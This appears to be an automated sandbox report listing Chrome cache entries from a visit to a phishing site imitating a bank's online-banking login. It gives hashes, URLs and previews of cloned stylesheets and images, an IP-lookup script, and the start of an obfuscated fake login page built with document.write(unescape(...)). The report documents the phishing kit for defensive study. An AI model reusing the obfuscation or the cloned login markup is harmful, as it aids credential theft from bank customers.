SHA1:	BD049C00EA03ED4E6EEFAED6FB9744EE48839F58
SHA-256:	D81DB57832F4742B67755F90F8C3D37735CB9F58DBB10E312F931343D27552C6
SHA-512:	167B1FE7BBBE0740B6601E9D1D7DEA2811F38A6782167E0FB04FBE36E81D9B7AF938219729446286B1AB6CE290A6DF40A531DCD60DEF966FEA37601A3C7BE872
Malicious:	false
Reputation:	low
URL:	https://eclipse.website.yandexcloud.net/radio-selected.png
Preview:	.PNG........IHDR... ... ......}Jb....sRGB.........IDATX..W.L.U.?.... .(.#J.eZ...).l.d.)..........A.!.Z..Mi.....".@Y:E.0H....W"..#y...>.}...{.u........{.DC.....h...kTD.h..(.R.......(...sn,w./...bv7\.......W$.K..".V....M\|q.N.."........W...4....j".b.6.....{.$$.....6....vv....:2Y{nGA.W.C..Z}.f..a......RG._.p.....Jq<..?...<.f.8....k..$.....2....!./Ti......./....9..k.n.....B.xLn.GN...z-.].Om'...x.......]....?..^;^.`.hY{A.........c..soHZ....t../.1v"...a.7P...5w...3'A.U..N<.~..].'v.'..+..m...Y.p..O..C[.b....Q.c..+,.b.'..0..%b.\....5.i.......P....s....L.+Qo...-~..D.(N.P~_1.o...F.".]...<.E...J.......:.5.&..&...Q;g.J.....+=.Ac.Q..t.f.F...7,"j...W]........L.y...._.TH.e,m+..A(..>o.s4a.$.....)....>...k.'...BA.u.u..].....Y......u8..q...9.g...;+..v..G.8...6..ikgK>.@.....L.....De$<3]....C..J}P......;...pk(...d....K.7.....t..g..L~...ix....X...c....i....8..f0B3..P..........]t$..X...'...DQ....N..Cj..U..2.W..D.L.i.Q......=..U.5n<.t.f.)..Q.W.._./..9c

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	9541
Entropy (8bit):	4.9041673023630326
Encrypted:	false
SSDEEP:	192:OLAmk32woFYF2FIrjeLS9aei/Fh2/n2jt/jqiLjAtFM/c/BsOnWMkZWVZCKe0oUZ:1doFYF2FDOFMoP1FEFQFpFiFpF2FDFp
MD5:	E909D59F350C1DAD51B78325B5953EB2
SHA1:	B129F196A4AC85F4A1327F04B564973AC3765BE1
SHA-256:	258B07E0E514A4714099F1F345A3333F7338589E19413A06CCD319E7436D3E4B
SHA-512:	CC59C31DA0E5F2190F06218467841084E6BDE9F755D55822F0A8F80CDDF0A78115712211EDE7413343E3E404C7BD8CA86A61797A154A1767D447B32A868DBE99
Malicious:	false
Reputation:	low
URL:	https://eclipse.website.yandexcloud.net/panel-defaults.css
Preview:	/* Added:.. - fix to stop h1 getting affected by mortgage. - box model defaults to stop widths getting affected on iPhone. - responsive max width. . - Needs to be tested./..#lpPanelDiv {. display: block;.}...lpPanelDigitalContainer {. position: fixed;. width: 360px;. display: block;. top:110px;. right: -360px;. min-height: 198px;. transition: right 0.5s;. -webkit-transition: right 0.5s;. background: #000;. font-family: tahoma, Geneva, sans-serif; .}..@media (max-width: 400px) {. .lpPanelDigitalContainer {. max-width: calc(100% - 42px);. right: calc(42px - 100%);. }.}...lpPanelDigitalContainer {. -webkit-box-sizing: content-box; . -moz-box-sizing: content-box;. box-sizing: content-box;.}..#lpPanelDiv input {. font-family: tahoma, Geneva, sans-serif;.}...lpPanelSection {. position: relative;. margin: 10px 0;. padding: 5px;. background-color: #FFFFFF;. -webkit-border-radius: 5px;. border-radius: 5px;.

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	184
Entropy (8bit):	5.0078977830462525
Encrypted:	false
SSDEEP:	3:HonLNhkLKTXDv4s1WMDAtTrJtT7tVmQvyUaGrRrKKaKkmCBnWLCnDKthdNEtK9Gy:InL3kLmDv4sr4yUaGrAKBkHW2nqrY9iz
MD5:	269B912AF69EC284BA0462D8631D8291
SHA1:	B1602934882C12AA38B33D4CFBF3AA8961413CD6
SHA-256:	A5748212A95B5F8E8508AD1FA8F7BA5AF91282E2CEC035E0782B6DC402A6399D
SHA-512:	40FC89664E92FF8A3A9B060EDDC8B898E128116DE9159AC0900EE2F7A40C13932472343918A3021992FA4E4AABAE88906EA2921969C5B524DFEF45575D786B13
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAnWTkHhFtWNVRIFDdZr6eESMwmO4_RvvsZ7pRIFDf3CZD8SBQ2ux_DlEgUND4-x1hIFDfoZjmESBQ1Xdk2hEgUNeCMZ9hIlCSLYuU0b4HwXEgUN56VwthIFDddZzkUSBQ3gMRWaEgUNe0nj9RIQCfe8PQbaSVvKEgUN26gwYBIQCWzZJ4UNFDjNEgUNNMeFiBIQCeUTj3tsn2R-EgUNArcTYA==?alt=proto
Preview:	CgkKBw3Wa+nhGgAKNgoHDf3CZD8aAAoHDa7H8OUaAAoHDQ+PsdYaAAoHDfoZjmEaAAoHDVd2TaEaAAoHDXgjGfYaAAokCgcN56VwthoACgcN11nORRoACgcN4DEVmhoACgcNe0nj9RoACgkKBw3bqDBgGgAKCQoHDTTHhYgaAAoJCgcNArcTYBoA

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 32x32, 8 bits/pixel
Category:	downloaded
Size (bytes):	2238
Entropy (8bit):	4.023177710783956
Encrypted:	false
SSDEEP:	24:suUizIqdL2PTfRbxqHshHNlS7y+fdyfwN2Wokvn6RMFAjwPzem:ucdL6TRb4Mhtw7y+fvN2VrMGjwPze
MD5:	D0AB1861F850D4514EDAA1696B3B5CE2
SHA1:	8FBDFEF1335CCF858072297CAEF21E1925A44D11
SHA-256:	9BBF91204E8022D01C859C92C1D9218AC4859DE521548856534B48AC2E7849A8
SHA-512:	A770F42100537D84566DA6D41C607D61D355FF8E97176B3050750921B60A7B7086470702DED069EF9A674F3D69C418C48B68EA9745EFEEACE798B03EEE82CF66
Malicious:	false
Reputation:	low
URL:	https://eclipse.website.yandexcloud.net/favicon.ico
Preview:	...... ..............(... ...@...............................................................................21..43..53..54..31..3/..3/..41..42..................4...3...4...2,..3,..3-..3.......................,#..4......................4'..2&..............3$..3$..4&..4%..5'..........3".....................$...3...5!....\|.4...3.....s...o.4...4...3...4.\|.3.z.4.z.4.u.3.t. .^.2.h. .Y.3.e.4.c.#.Q.3.X.%.E.%.D.%.A.,.G.4.H.4.B.4.A.).3.3.:../....3.4.+.(.,.#.3.(.-. .-...3.$.....3...3...3...2...3...4...3.../.../...3.../...0...0...3...4...3...1...3...1...1...3...1...3...3...3...3...3...3...3...3...38..39..................................................................""..%&..&+..-...//..11..12..13..33..34..35..36..36..44..45..46..47..48..45..55..56..59..45..66..77........................................................................................................................................................................................................................................

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 22, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	285
Entropy (8bit):	6.766483802285677
Encrypted:	false
SSDEEP:	6:6v/lhPAEiK4goe7a2vhfWuA2FbFqkVM/lwvj1vNSHL/3M7H3jK6J6Zdgp:6v/7IgV/A+F128jlNSzM7H3jj0W
MD5:	4A3360FB538FCC33DB66E22AFBD18715
SHA1:	112ECA49DCFEDE70854283A7C51FBA6E8A96A4DF
SHA-256:	B465D00B89619E9899EC7D618559157DB09F935D318466D67DEB036157FADCF2
SHA-512:	5FEF20A1C025CE001213DB08363A2D6E4F65B3A163AB751168F6D6FCA8008D03E48A76782C461E46A4C44F6B649C574447E33BEF1A1437E0B20B2D2AC1224495
Malicious:	false
Reputation:	low
URL:	https://eclipse.website.yandexcloud.net/white-lock.png
Preview:	.PNG........IHDR.............._.A....IDATx.c`........F@\....^ ....H -.@..jP..p.?&8....5..y........0.9.....b_ {.H.h../^p.4..a..j.W..b. 9......................x,..T...^..6<.m.Z.(.@...n.P.8P.^..*.....,.....5.l.....z...q.Z.be...\|aD...D-......M....^1.........Zp.......IEND.B`.

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	76
Entropy (8bit):	4.681706217693603
Encrypted:	false
SSDEEP:	3:ZFHMBbC2ExQBfNoJMtSeY:QBejx8aJGSeY
MD5:	82A1B6373FA17D314053CB7173954338
SHA1:	7E2BA5B991CCF1C31C1F1070F74124BC30A1F97D
SHA-256:	EF7DB794B4A6B5C42D2535919D91FB11DA1E5CD1147F35196DB382197B35FDEE
SHA-512:	F16A9C012854CF59E11A0D0D002F32913A5BC664DE25138C0D6D13F7378E15C965E775B6360D3878653A50E4B52EB415022A7F13AF6C2AF4D17C26D677DB96A1
Malicious:	false
Reputation:	low
URL:	https://eclipse.website.yandexcloud.net/overlayPrompt.css
Preview:	.TOPT, .IOPT { border-color: #a9abcd; }...TOPT h2.h2Flash { color: #1F1E61;}

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	1633
Entropy (8bit):	7.873585710512092
Encrypted:	false
SSDEEP:	48:4AZ8wI20tL75vr4lQoATAFr5pQKzlexO2a7q6:4API2AvrIVOApcKYU7+6
MD5:	2AC5B52FBDB0BE1BBC9506A24F78AFE9
SHA1:	BD049C00EA03ED4E6EEFAED6FB9744EE48839F58
SHA-256:	D81DB57832F4742B67755F90F8C3D37735CB9F58DBB10E312F931343D27552C6
SHA-512:	167B1FE7BBBE0740B6601E9D1D7DEA2811F38A6782167E0FB04FBE36E81D9B7AF938219729446286B1AB6CE290A6DF40A531DCD60DEF966FEA37601A3C7BE872
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR... ... ......}Jb....sRGB.........IDATX..W.L.U.?.... .(.#J.eZ...).l.d.)..........A.!.Z..Mi.....".@Y:E.0H....W"..#y...>.}...{.u........{.DC.....h...kTD.h..(.R.......(...sn,w./...bv7\.......W$.K..".V....M\|q.N.."........W...4....j".b.6.....{.$$.....6....vv....:2Y{nGA.W.C..Z}.f..a......RG._.p.....Jq<..?...<.f.8....k..$.....2....!./Ti......./....9..k.n.....B.xLn.GN...z-.].Om'...x.......]....?..^;^.`.hY{A.........c..soHZ....t../.1v"...a.7P...5w...3'A.U..N<.~..].'v.'..+..m...Y.p..O..C[.b....Q.c..+,.b.'..0..%b.\....5.i.......P....s....L.+Qo...-~..D.(N.P~_1.o...F.".]...<.E...J.......:.5.&..&...Q;g.J.....+=.Ac.Q..t.f.F...7,"j...W]........L.y...._.TH.e,m+..A(..>o.s4a.$.....)....>...k.'...BA.u.u..].....Y......u8..q...9.g...;+..v..G.8...6..ikgK>.@.....L.....De$<3]....C..J}P......;...pk(...d....K.7.....t..g..L~...ix....X...c....i....8..f0B3..P..........]t$..X...'...DQ....N..Cj..U..2.W..D.L.i.Q......=..U.5n<.t.f.)..Q.W.._./..9c

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	99926
Entropy (8bit):	4.389011635572635
Encrypted:	false
SSDEEP:	1536:xDNc6ppQB7pACn/Zf/BrZfhiByRyKLqZfw/0lye3MZfX/0lyeTQ/Zfe/0lyeTrkX:xDNc6ppW79n+
MD5:	93CBD389E2D0740F4F7F57158EA43CFD
SHA1:	27B42F8EC041D6EEB5D73E33B23338B263694D31
SHA-256:	63CE1C002B573135A5830C8857868DEDF376628C5B1B06BAC7A1AFD40B3EE99C
SHA-512:	ACD9F0ABDD6E05974AC98BA82BFE18F96055036F19F47CB5E78E22BA01BF605007C9AA996CE68F15A8E19EB6F8D3DD710DA250A0C50270F13921DE57F44A5445
Malicious:	false
Reputation:	low
URL:	https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm
Preview:	<script language=javascript>document.write(unescape('%3C%21DOCTYPE%20html%20PUBLIC%20%22-//W3C//DTD%20XHTML%201.0%20Transitional//EN%22%20%22http%3A//www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd%22%3E%0A%3Chtml%20xmlns%3D%22http%3A//www.w3.org/1999/xhtml%22%20data-useragent%3D%22Mozilla/5.0%20%28Windows%20NT%206.1%3B%20Win64%3B%20x64%3B%20rv%3A77.0%29%20Gecko/20100101%20Firefox/77.0%22%20lang%3D%22en%22%3E%0A%3Chead%3E%3Ctitle%3ELog%20in%20to%20%26%2379%3B%26%23110%3B%26%23108%3B%26%23105%3B%26%23110%3B%26%23101%3B%26%2332%3B%26%2366%3B%26%2397%3B%26%23110%3B%26%23107%3B%26%23105%3B%26%23110%3B%26%23103%3B%3C/title%3E%0A%3Cmeta%20name%3D%22viewport%22%20content%3D%22width%3Ddevice-width%2C%20initial-scale%3D1%22%3E%0A%3Cmeta%20http-equiv%3D%22content-type%22%20content%3D%22text/html%3B%20charset%3DUTF-8%22%3E%0A%3Cmeta%20http-equiv%3D%22Content-Style-Type%22%20content%3D%22text/css%22%3E%0A%3Cmeta%20name%3D%22robots%22%20content%3D%22noindex%22%20/%3E%0A%3Clink%20rel%3D%22icon%22%2

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1543), with CRLF line terminators
Category:	dropped
Size (bytes):	17540
Entropy (8bit):	4.92744050039623
Encrypted:	false
SSDEEP:	96:G2UwCwkYi7mrAK6y/A1LteaiCIzyo+F4Xk8LocJRNkXbuaYUnPzgo5Pw59g5jGdx:GjDGAzbxSocVIdL/I6MopZ9Qf9
MD5:	B5F90335C1B50C6E46292060D68662BC
SHA1:	35054541ED3C9A873DED0200644A9304EB85FB68
SHA-256:	A9525F33D124699E204C65D7711A4CFB074DB510E171A0F03AE17B60226BFD75
SHA-512:	4ACD1BDB3DEC5A36B9B62DEC2C403E513EC1F4C1C23E863FB385E4CC40B71DB1A37DA0EBF2E14741CDED399DAD522542718C27DDDCDC407B29533CFD02065695
Malicious:	false
Reputation:	low
Preview:	....<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="http://www.w3.org/1999/xhtml" lang="en">.. <head><title>...Customer advice..</title><meta id="ctl00_vpTag" name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5, user-scalable=1" /><meta http-equiv="content-type" content="text/html;charset=utf-8" /><meta http-equiv="Content-Style-Type" content="text/css" /><meta id="ctl00_demoNoIndex" name="robots" content="all" /><meta name="format-detection" content="telephone=no" /><link href="/Brands/master.css?v=637212578060000000" rel="stylesheet" type="text/css" media="all" segment="" /><link href="/Brands/jq_styles/datePicker.css?v=637212578940000000" rel="stylesheet" type="text/css" media="all" segment="" /><link href="/Brands/NWB/css/npc.css?v=637212578960000000" rel="stylesheet" type="text/css" media="all" segment="" /><link href="/promptResources/templates/overlayTemplate/ov

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 29 x 29, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1090
Entropy (8bit):	7.765416955788121
Encrypted:	false
SSDEEP:	24:SuhpCNadzxInn5ccBRA/y+tsCHDqRAEIiTlV6388F8FTOp:SMpSwKicBRAapRiM8F8ZOp
MD5:	50F1540B40BF348F927C3ED21ABA72B3
SHA1:	B8C94013139462B49A2422BA947A7A8FEDE3552E
SHA-256:	27F324F2AD60091D5E8F76ADFEF83F9122DC8AA8DF29D0A8D970BFE06AAA5005
SHA-512:	A01C19A994C4E24E5AC464D468810815B8A64A53D703AD0FCBC3F089F42FF7BEDDC9413B4281C722EFAFC9178D4FC8B2A6D5994B252281B5D8E26347855D53A0
Malicious:	false
Reputation:	low
URL:	https://eclipse.website.yandexcloud.net/error-marker.png
Preview:	.PNG........IHDR.............V.g.....sRGB.........gAMA......a.....pHYs..........+......IDATHK...kTW..sf...A4I3.#V+.4.....S.....K5.nE...Bl7...,...\|.D).... H;A..)...ug.>...s....so6~.....}....&<.....x.....=E..pKe....7.".w.z..Ff.gH...^..._.bq."J...i.A.IIi.IJJHbWG~...$.}..z?.&/ .eH.Z.Z....W..1..Y). .Z.....J....Dn.lb...\..'P....^1.....v....ql}.+To._c..Rpa.[X.y...ed.JW._AITf.0r.%d..........oP..m+.a...~w.n........m.;w.a..-.....d...gB..E3..b..).^.I.w..D.m.E..=......."..1s..X.W..O....7C{.K..!Z.p...CMW.'..v.g..\..h...C.]...;.D.."...4.n.0h.:.S.'..8...H....CR.PO....... .k5.g.W...}.POU.=...........M.Z..8..U..?%R.UA.qO...Z...{V]....x$e....r.Nz......S...M.....R]\.....#..eV0#uKt ......d.-..O...Z...K.x..l.8H..{G.....>.n!..!...a...9,l).'J....?~H2\|...b..N. ..sq.....n3...S..Qy.o...!.......Oa._w....$7...hx....Tn.=G....i......Y....it.....<../u..'#...y...Ga..**....>u..M...O.4.b..[..o...5.\......gt..f&..}.u...W ...n.wpJ.5C.V7.u..f<Lm.s.w...c..t..I4K.-l......

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 80 x 106, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5679
Entropy (8bit):	7.958356156794194
Encrypted:	false
SSDEEP:	96:FguUZH2VLcc+zANP2G3LREHmPHMy6IceLx6F35pFWKOPtj/k9HnqC8:FguUJU9uAtd3THMqbUFWbFTxz
MD5:	CCE808C0C23F731523EB4B7298AD18D8
SHA1:	E7E040AFC91E194B3241653AAB4863BF20020014
SHA-256:	F2B557317FB851B3ED73C2D8203192E9ED433BD006CA5025CCB3317EF15E1B8D
SHA-512:	148ACB7ACCD415E791AA2D0123295A3878F02DC8650E5CD8E087FBA1BFCD912D086F36E6647D465F406E6A3C037AC4DCADA1150530AD818C774CA440BD08E44F
Malicious:	false
Reputation:	low
URL:	https://eclipse.website.yandexcloud.net/plogo.png
Preview:	.PNG........IHDR...P...j.....+..f....gAMA......a.....IDATx..].XU......"....".O.-.L.).z.+.........&_..g....9.,..8+(. ......o...p..^......}......{...ZX.........G Bex.s.%.f..h..6.h.h.,f..h..6.h.h.,f..h..6.h.h.,f..h..6.h.h.,f..h...2"...RZV...Y..S...........eE.A.,T.P.`e]....8;Z......6p......<....';o.Y..vj.....\|..N.L...+.x).I......J.ZTY....X....v..uW....W{..x[...u.j.S...%\,...;<...3.<.`cm...I....2!-)..w.E....."...U.ZT..Rmi!.s.t........j.g..x......V..-.P.e5.......V......T..&.5...Q.2..9.W`%~..6.r.........>~.&.G.#n.....8.1....H8..FV..0;7{....K.v...~.hK.9:...Pum...3.Wp.9.W.......M/....p........1`6?.I..a..]8..$F......:a..n..=\|;z...f.......H8q..Q...6.w.3.=.z...B..............q..v..........aK.}K...r.E...MG..T......w...d..,.).......X......c.;...O.Z\........U.*Ly........`..4\|......c..0\|f(.......ytfo"6,....."d\|_].7...Q........G.L.....Jn....jl...9iy...}.6..#.l.........{._....555......<W.....f.7..`eye.!.k.}}.fa..}.d1`4:..`I$z.Q0.;y.....U.U.p$...S.{...%.w..W;w...

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (518), with CRLF line terminators
Category:	downloaded
Size (bytes):	47326
Entropy (8bit):	5.353130222470661
Encrypted:	false
SSDEEP:	768:oJs1gjwR4ZyssXY1eT2rousH/s8VbRlC57gix5EfXtmDLZSwbXmQSEoeiX:oJJwFup83l3ix5EfXtmXEwbWzX
MD5:	D3F76CB5E9A68A590459B54B35E2AC59
SHA1:	97DB38040F44843B6EE5CAAC758ACB6B5D6FB921
SHA-256:	B618B1630FE11A6FEE0232601CC91AC7E7CD56EC8D4AB7353846E493D8764778
SHA-512:	7AF161ABAD4400E8B8FFE649AA1DFD9B2D8084AFC353CD8906A3E20FAA572B2674B4762E15912A80B0A3FDC4C0314701CFBA712255549AD65D3233C3C78368DC
Malicious:	false
Reputation:	low
URL:	https://eclipse.website.yandexcloud.net/npc.css
Preview:	.primaryColour { color: #42145f; }...secondaryColor { color: #68096c; } ...promotionTextColour{color: #516CB3; font-size:24px;} ../*** Page Default Styles /.....box_ourProducts h4, .box_ourProducts span {color: #42145f;}..../**** Page Structure Positioning Elements ***/...box_quickTransfer { background-color: #EEEEEE; }../*** End of Page Structure Positioning Elements ****/..../ Link Defaults /..a { color: #ad1982; text-decoration: underline; }..a:hover{color: #ad1982; text-decoration: none;}..../ header fonts/..h1 { border-bottom: 0px solid #B4A99F; color: #42145F; }..h1+h2 { color: #42145F; }...playBackText--brandColor, .irsLineType td:nth-child(2), .bcc-number-liststyle1 {color: #42145F;}...labelcolor { width:260px!important; display:inline-block!important;}.....dbidlengthpinpass h3, .box_quickTransfer h3, .box_ourProducts h3, .helpText h3, .AccountTableHeader H2, .helpWrapper H2{ color: #42145F;}../ Header Control - Styles */.....topHeaderWrapper {backg

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (417), with CRLF line terminators
Category:	downloaded
Size (bytes):	48225
Entropy (8bit):	5.242299027469187
Encrypted:	false
SSDEEP:	768:ApX4badZOZIqTlfL9Tsb83F6P0xaMvli+kR8Fvf:AZrsL9TKTDIzFvf
MD5:	5CC6A870D1A1DD62DC2690EA17B7E3C4
SHA1:	A35F3DEF4A047FA6A97B3ADD6CA760D4C2EBB318
SHA-256:	762A7161FAFB519ADA43534E1E4AA7FD8F5AE402D21CDBB3AFF8FF569B29AD6A
SHA-512:	DDEDFE40DDDF3080346A0029577232E2D059847764B112B905C19B3F70AAE78658ACDAC54ED5704554B766011201F15C035E8EDC734764DAFCC6925147701592
Malicious:	false
Reputation:	low
URL:	https://eclipse.website.yandexcloud.net/master_mobile.css
Preview:	..@media screen and (max-width: 768px) {......../* ..This is the master mobile style sheet and should be used when a mobile browser is detected - it is not brand specific..../../** Page Default Styles /..body ..{.. width: 100%; .. background-color: #ffffff;..}....body, input, select, textarea, p, .bodyText {.. font-size: 14px;.. line-height: 1.1429; / (16/14 = 1.1429) Unitless values are the recommended approach for line-height /..}.....body-bold {.. font-size: 0.875rem;.. line-height: 1rem;.. font-weight: normal;.. font-family: RNHouseSans-Bold, Verdana, Helvetica, San-serif;..}..../ disable auto-zoom on iphone input field focus /../.. 100% font size is 16px and default for most (if not all browsers including desktops)... IOS uses 16px as the default probably because it's a comfortable size for reading. ../..@media screen and (-webkit-min-device-pixel-ratio:0) ..{.. / Removes the auto zoom on the dropdown after making a selection */.. .

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (21777)
Category:	downloaded
Size (bytes):	21939
Entropy (8bit):	4.752155701849423
Encrypted:	false
SSDEEP:	192:sqBt/8W+ab2edrKeTUKIErArKlcZJVrJ3ee+cR6waWm215bvfwf5DrkHUa2:7k5yWeTUK1+KlkJ5de2UWmyTfwYUa2
MD5:	B3F38F8786407280C4585F1586BF26EE
SHA1:	0315CD1680136BA95453DD922167063BA3E83DF1
SHA-256:	043D64AD39164B2B6D031CBAF82D44542B3904B814FFB4AE9738F0953E32F143
SHA-512:	6EAF1EB53D2F19B4611CF31AB72CD9984260A8D73BBF3C1440344439596179A2700A409CFB4B9AE33818844D4E66432B310266B8F1633615BD5C78F1B8028FB4
Malicious:	false
Reputation:	low
URL:	https://eclipse.website.yandexcloud.net/font-awesome.css
Preview:	/!. Font Awesome 4.2.0 by @davegandy - http://fontawesome.io - @fontawesome. * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License). */@font-face{font-family:'FontAwesome';src:url('fontawesome-webfont.eot?v=4.2.0');src:url('fontawesome-webfont.eot?#iefix&v=4.2.0') format('embedded-opentype'),url('fontawesome-webfont.woff?v=4.2.0') format('woff'),url('fontawesome-webfont.ttf?v=4.2.0') format('truetype'),url('fontawesome-webfont.svg?v=4.2.0#fontawesomeregular') format('svg');font-weight:normal;font-style:normal}.fa{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.28571429em;text-align:center}.fa-ul{padding-left:0;margin-left:2.14285714em;list-style-type:none}.fa-ul>li{posi

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (472), with CRLF line terminators
Category:	downloaded
Size (bytes):	228718
Entropy (8bit):	5.131402412857527
Encrypted:	false
SSDEEP:	1536:AmzuGX0jESFziYjUG8PLHIP22jzyL+2j1dKvb/8DRhOslEBsuveG8J7wKDsE4pt2:9z5iFPjUf2jzyUd28Gtj
MD5:	2DFD733F065CA6D2369A67EF4983A29C
SHA1:	95E3F2346E8B19F1A59AFB9C6FFC87C14BC2971E
SHA-256:	CA2DDF37E75F25208EADB3A8B7E8314E49DBDA29029106351FA0E5ABF357C6B1
SHA-512:	AA836EA612455E5CED759FC1473DCD3718403864DFA2D85A0587828A01D8B3E6200764CAAF8BC8B1F360538A0E5919E02EBB0E14AE0401C4927F8CD415A67073
Malicious:	false
Reputation:	low
URL:	https://eclipse.website.yandexcloud.net/master.css
Preview:	./* ..This is the master style sheet and as such should produce a 'Vanilla' brand.....To that end, all colours will be black or white and then overidden in the brand css files.....There will be no default images in this file, so that may leave some gaps...*/....@font-face {.. font-family: "RNHouseSans-Regular";.. src: url("RNHouseSansW05-Regular.eot?#iefix");.. src: url("RNHouseSansW05-Regular.eot?#iefix") format("eot"),.. url("RNHouseSansW05-Regular.woff2") format("woff2"),.. url("RNHouseSansW05-Regular.woff") format("woff"),.. url("RNHouseSansW05-Regular.ttf") format("truetype"),.. url("RNHouseSansW05-Regular.svg#RNHouseSansW05Regular") format("svg");.. font-display: fallback;..}....@font-face {.. font-family: "RNHouseSans-Bold";.. src: url("RNHouseSansW05-Bold.eot?#iefix");.. src: url("RNHouseSansW05-Bold.eot?#iefix") format("eot"),.. url("RNHouseSansW05-Bold.woff2") format("woff2"),.. url("RNHouseSansW05-Bold.wo

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	4872
Entropy (8bit):	4.853528427789023
Encrypted:	false
SSDEEP:	96:NzreKUt6P5AMenm3V2rX0x3lbvuIR6eYuoKJ8:NreTtiKaV2rE5l8d128
MD5:	987CC7771F2FE14E61DE62BD92E2411E
SHA1:	5881D2CD1ECDB1D001F4C1F6869B878F11496ABD
SHA-256:	8D667D58AA56215B23D233ADE3AF0C7F6B7962C75410D6C103E0C324E4E958CA
SHA-512:	B55C7431A238631C31362AF247C6F25551C174FEA56992CEDE3F39FA875BF475925FC33C45AF371627C1177C934359150D72289BCEFEF1EEF29856946C11C327
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="158" height="36" viewBox="0 0 158 36">.. <defs>.. <linearGradient id="a" x1="24.96%" x2="75%" y1="24.983%" y2="75.017%">.. <stop offset="0%" stop-color="#DC1405" stop-opacity=".1"/>.. <stop offset="16%" stop-color="#DC1405" stop-opacity=".13"/>.. <stop offset="39%" stop-color="#DC1405" stop-opacity=".23"/>.. <stop offset="67%" stop-color="#DC1405" stop-opacity=".38"/>.. <stop offset="98%" stop-color="#DC1405" stop-opacity=".59"/>.. <stop offset="100%" stop-color="#DC1405" stop-opacity=".6"/>.. </linearGradient>.. <linearGradient id="b" x1="71.091%" x2="36.236%" y1="6.38%" y2="78.374%">.. <stop offset="0%" stop-color="#DC1405" stop-opacity=".1"/>.. <stop offset="16%" stop-color="#DC1405" stop-opacity=".13"/>.. <stop offset="39%" stop-color="#DC1405" stop-opacity=".23"/>.. <stop offset="67%" stop-color="#DC140

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	24
Entropy (8bit):	4.136842188131013
Encrypted:	false
SSDEEP:	3:DyclXMLQHe:jlXFe
MD5:	D051832A5E33F71101F83E8D2AA1457A
SHA1:	C900112F9FD0BFE0A5EFE737D5C939EE23DA5A0D
SHA-256:	7BB604C7D8A73BE5CE2878CCCBC3F387474D14EE073D5B995B24B57EB12B6AE4
SHA-512:	9ED04496D29C0DC08A72C4E4825181D263AA95A9CA0F692FB48EC08A58258D26ECC05837895293147195789AD11807B7BF7BB7F9523F99BEA205C5A5011E7B0B
Malicious:	false
Reputation:	low
URL:	https://l2.io/ip.js?var=userip
Preview:	userip = "8.46.123.175";

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 13 x 13, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	359
Entropy (8bit):	7.1579938470948905
Encrypted:	false
SSDEEP:	6:6v/lhPfC5MRnwgyOjMSrW5jXPrv+he2yKdzGGjglDw9ktY+gibovNjJ7CKZSk+xF:6v/7i+nVrw7BvQygKGjglEKY+NbWF7p6
MD5:	3D738A237A2DD5F3075939942052D472
